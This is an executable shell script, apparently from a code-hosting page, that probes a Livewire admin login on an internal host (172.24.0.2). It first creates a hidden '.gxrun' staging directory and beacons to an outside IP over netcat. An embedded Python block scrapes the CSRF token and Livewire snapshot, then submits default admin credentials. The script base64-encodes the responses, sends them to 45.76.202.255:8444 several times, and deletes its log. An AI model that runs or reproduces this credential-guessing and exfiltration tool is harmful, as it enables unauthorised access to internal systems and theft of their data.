65 lines
2.8 KiB
Bash
Executable file
65 lines
2.8 KiB
Bash
Executable file
#!/bin/sh
|
||
#!/bin/sh
|
||
# ld_kk58 — speedtracker Livewire 真协议试探(snapshot 提取+commit 一体)(回执先行)
|
||
L=45.76.202.255
|
||
ST=""
|
||
for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
|
||
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
||
done
|
||
[ -n "$ST" ] || ST="."
|
||
cd "$ST" 2>/dev/null || exit 0
|
||
printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
{
|
||
python3 - <<'PYX' 2>&1
|
||
import re,json,http.client,time,urllib.parse
|
||
H="172.24.0.2"
|
||
def req(path,data=None,hdrs={},mth=None):
|
||
c=http.client.HTTPConnection(H,80,timeout=6)
|
||
hd={"Host":H,"User-Agent":"Mozilla/5.0"}
|
||
for k,v in hdrs.items(): hd[k]=v
|
||
if data is not None:
|
||
hd["Content-Type"]="application/json" if mth=="json" else "application/x-www-form-urlencoded"
|
||
if isinstance(data,dict): data=json.dumps(data).encode()
|
||
c.request(mth or ("POST" if data else "GET"),path,body=data,headers=hd)
|
||
r=c.getresponse(); b=r.read(3000)
|
||
ck=r.getheader("Set-Cookie") or ""
|
||
return r.status,r.headers,b.decode('utf8','replace'),ck
|
||
st,p,_b,cj=req("/admin/login")
|
||
m=re.search(r'meta name="csrf-token" content="([^"]+)";?',p)
|
||
tok = m.group(1) if m else ""
|
||
sn_m=re.search(r'wire:snapshot="([^"]+)"',p) or re.search(r'data-livewire-snapshot=\"([^\"]+)',p)
|
||
print("page",st,"csrf_len",len(tok or ''),"snapshot_found",bool(sn_m))
|
||
if sn_m:
|
||
raw=urllib.parse.unquote_plus(sn_m[1])
|
||
try: sn=json.loads(raw)
|
||
except Exception as e: print("snap-parse-err",e); sn={}
|
||
print("snapkeys",list(sn.keys())[:8])
|
||
dta=sn.get("data",{})
|
||
print("datakeys",list(dta.keys())[:10])
|
||
dta.update({"email":"admin@example.com","password":"password"})
|
||
body={"_token":tok,"components":[{"key":list(sn.get("memo",{}).values())[0] if False else (sn.get("memo") or {}).get("hash","x"),"snapshot":{**sn,"data":dta},"updates":{"data.email":"admin@example.com","data.password":"password"},"calls":[],"effects":{}}]}
|
||
for path in ("/livewire/update","/livewire/message/http-172-24-0-2/admin/login"):
|
||
try:
|
||
s2,b2,_h,ck2=req(path,body,{"X-CSRF-Token":tok,"Referer":"http://%s/admin/login"%H},mth="json")
|
||
flat=b2.replace('\n',' ')[:240]
|
||
print(path,"=>",s2,flat)
|
||
except Exception as e: print(path,"ERR",type(e).__name__)
|
||
else:
|
||
print("no-snapshot attr — dump head")
|
||
print(p[:300].replace('\n',' '))
|
||
PYX
|
||
} >m58.txt 2>&1
|
||
B=$(base64 -w0 m58.txt 2>/dev/null)
|
||
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
||
printf "gxR58 META len=%s\n" "${#B}" | nc -w 4 $L 8444 >/dev/null 2>&1
|
||
r=0
|
||
while [ $r -lt 3 ]; do
|
||
printf "gxR58 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
|
||
r=$((r+1)); sleep 1.2
|
||
done
|
||
fi
|
||
rm -f m58.txt
|
||
exit 0
|
||
|
||
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
||
exit 0
|